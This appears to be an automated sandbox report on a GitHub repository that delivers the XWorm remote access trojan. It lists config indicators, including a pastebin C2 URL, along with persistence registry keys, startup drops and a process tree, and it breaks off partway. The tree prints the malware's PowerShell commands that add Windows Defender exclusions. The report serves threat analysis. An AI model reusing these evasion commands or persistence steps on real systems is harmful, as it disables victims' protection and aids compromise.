xworm | hxxps://github[.]com/kavateforaro/PhantomCrypt

Analysis

max time kernel
204s
max time network
205s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-01-2025 13:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/kavateforaro/PhantomCrypt

Score

10^/10

xworm discovery dropper execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

fSptE7osVO19YSsZ

Attributes

Install_directory
%AppData%
install_file
msedge.exe
pastebin_url
https://pastebin.com/raw/eZa6J63T

aes.plain

Signatures

Detect Xworm Payload 8 IoCs

resource	yara_rule
behavioral1/files/0x000f000000018132-288.dat	family_xworm
behavioral1/memory/1792-295-0x0000000000920000-0x000000000094E000-memory.dmp	family_xworm
behavioral1/files/0x000300000001e0b8-313.dat	family_xworm
behavioral1/memory/2708-324-0x0000000000C00000-0x0000000000C2C000-memory.dmp	family_xworm
behavioral1/files/0x000300000001e0eb-329.dat	family_xworm
behavioral1/files/0x000300000001e0ed-340.dat	family_xworm
behavioral1/memory/2668-347-0x0000000000C00000-0x0000000000C28000-memory.dmp	family_xworm
behavioral1/memory/3708-348-0x0000000000230000-0x000000000025E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe
2184	powershell.exe
4536	powershell.exe
1920	powershell.exe
1156	powershell.exe
2952	powershell.exe
1720	powershell.exe
3896	powershell.exe
5052	powershell.exe
4664	powershell.exe
1252	powershell.exe
1560	powershell.exe
1196	powershell.exe
2308	powershell.exe
3664	powershell.exe
4480	powershell.exe

Download via BitsAdmin 1 TTPs 3 IoCs

dropper

BITS Jobs

T1197

pid	Process
2492	bitsadmin.exe
212	bitsadmin.exe
1936	bitsadmin.exe

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	PhantomCrypters.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	PhantomCrypter.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	PhantomCrypters.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	msedge.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	PhantomCrypters.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	PhantomCrypter.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	msedge.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	Chrome Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	OneDrive.exe

Drops startup file 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Chrome Update.lnk	Chrome Update.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Chrome Update.lnk	Chrome Update.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk	OneDrive.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk	OneDrive.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 22 IoCs

pid	Process
2116	PhantomCrypter.exe
1792	msedge.exe
3664	PhantomCrypters.exe
2708	Chrome Update.exe
3708	msedge.exe
2668	OneDrive.exe
2180	TOPHERC.exe
1720	PhantomCrypter.exe
4896	msedge.exe
3164	PhantomCrypters.exe
836	Chrome Update.exe
4080	msedge.exe
180	OneDrive.exe
4992	TOPHERC.exe
3760	msedge.exe
4772	Chrome Update.exe
632	OneDrive.exe
932	PhantomCrypters.exe
4896	Chrome Update.exe
4080	msedge.exe
4904	OneDrive.exe
3800	TOPHERC.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chrome Update = "C:\\Users\\Admin\\AppData\\Roaming\\Chrome Update.exe"	Chrome Update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive = "C:\\ProgramData\\OneDrive.exe"	OneDrive.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs

Web Service

T1102

flow	ioc
132	pastebin.com
138	pastebin.com
171	pastebin.com
173	pastebin.com
172	pastebin.com
95	pastebin.com
121	pastebin.com
146	pastebin.com
163	pastebin.com
170	pastebin.com
98	pastebin.com
115	pastebin.com
129	pastebin.com
164	pastebin.com
122	pastebin.com
141	pastebin.com
144	pastebin.com
160	pastebin.com
94	pastebin.com
104	pastebin.com
114	pastebin.com
120	pastebin.com
140	pastebin.com
142	pastebin.com
143	pastebin.com
155	pastebin.com
101	pastebin.com
109	pastebin.com
116	pastebin.com
131	pastebin.com
157	pastebin.com
134	pastebin.com
136	pastebin.com
152	pastebin.com
165	pastebin.com
96	pastebin.com
105	pastebin.com
106	pastebin.com
124	pastebin.com
149	pastebin.com
174	pastebin.com
88	pastebin.com
102	pastebin.com
111	pastebin.com
113	pastebin.com
119	pastebin.com
137	pastebin.com
153	pastebin.com
90	pastebin.com
100	pastebin.com
103	pastebin.com
108	pastebin.com
110	pastebin.com
126	pastebin.com
128	pastebin.com
150	pastebin.com
169	pastebin.com
87	pastebin.com
130	pastebin.com
139	pastebin.com
158	pastebin.com
135	pastebin.com
161	pastebin.com
168	pastebin.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TOPHERC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TOPHERC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TOPHERC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	PhantomCrypters.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	PhantomCrypters.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	PhantomCrypters.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1560	schtasks.exe
4916	schtasks.exe
3168	schtasks.exe
3744	schtasks.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

pid	Process
3916	msedge.exe
3916	msedge.exe
1264	msedge.exe
1264	msedge.exe
4888	identity_helper.exe
4888	identity_helper.exe
3788	msedge.exe
3788	msedge.exe
3728	msedge.exe
3728	msedge.exe
3728	msedge.exe
3728	msedge.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
1196	powershell.exe
1196	powershell.exe
1196	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1156	powershell.exe
1156	powershell.exe
5052	powershell.exe
5052	powershell.exe
1156	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
5052	powershell.exe
4664	powershell.exe
4664	powershell.exe
3664	powershell.exe
3664	powershell.exe
4664	powershell.exe
2952	powershell.exe
2952	powershell.exe
1720	powershell.exe
1720	powershell.exe
2952	powershell.exe
1720	powershell.exe
3664	powershell.exe
2564	powershell.exe
2564	powershell.exe
1252	powershell.exe
1252	powershell.exe
2184	powershell.exe
2184	powershell.exe
1252	powershell.exe
2564	powershell.exe
2184	powershell.exe
3896	powershell.exe
3896	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
3896	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeRestorePrivilege	1920	7zG.exe
Token: 35	1920	7zG.exe
Token: SeSecurityPrivilege	1920	7zG.exe
Token: SeSecurityPrivilege	1920	7zG.exe
Token: SeDebugPrivilege	1792	msedge.exe
Token: SeDebugPrivilege	2708	Chrome Update.exe
Token: SeDebugPrivilege	2668	OneDrive.exe
Token: SeDebugPrivilege	3708	msedge.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	1196	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	4896	msedge.exe
Token: SeDebugPrivilege	836	Chrome Update.exe
Token: SeDebugPrivilege	4080	msedge.exe
Token: SeDebugPrivilege	180	OneDrive.exe
Token: SeDebugPrivilege	3760	msedge.exe
Token: SeDebugPrivilege	4772	Chrome Update.exe
Token: SeDebugPrivilege	632	OneDrive.exe
Token: SeDebugPrivilege	4896	Chrome Update.exe
Token: SeDebugPrivilege	4080	msedge.exe
Token: SeDebugPrivilege	4904	OneDrive.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1920	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe
1264	msedge.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4652	OpenWith.exe
4652	OpenWith.exe
4652	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 3256	1264	msedge.exe	83
PID 1264 wrote to memory of 3256	1264	msedge.exe	83
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 4472	1264	msedge.exe	84
PID 1264 wrote to memory of 3916	1264	msedge.exe	85
PID 1264 wrote to memory of 3916	1264	msedge.exe	85
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86
PID 1264 wrote to memory of 1108	1264	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/kavateforaro/PhantomCrypt
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xfc,0xd8,0x7ffa6d5146f8,0x7ffa6d514708,0x7ffa6d514718
  2⤵
  PID:3256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2304 /prefetch:2
  2⤵
  PID:4472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2888 /prefetch:8
  2⤵
  PID:1108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
  2⤵
  PID:1532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3492 /prefetch:1
  2⤵
  PID:1780
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:8
  2⤵
  PID:3216
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5584 /prefetch:1
  2⤵
  PID:4332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
  2⤵
  PID:2280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
  2⤵
  PID:1700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4124 /prefetch:1
  2⤵
  PID:2804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5348 /prefetch:8
  2⤵
  PID:2564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5932 /prefetch:1
  2⤵
  PID:4312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2232,17144887301639991450,13218329471434272180,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3204 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3728

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3752

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3556

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2484

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4652

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\" -an -ai#7zMap32300:178:7zEvent25525
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1920

C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypter.exe
"C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\PhantomCrypter.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:2116
- C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\msedge.exe
  "C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\msedge.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\PhantomCrypt-main\PhantomCrypt-main\release\PhantomCrypter\msedge.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
    3⤵
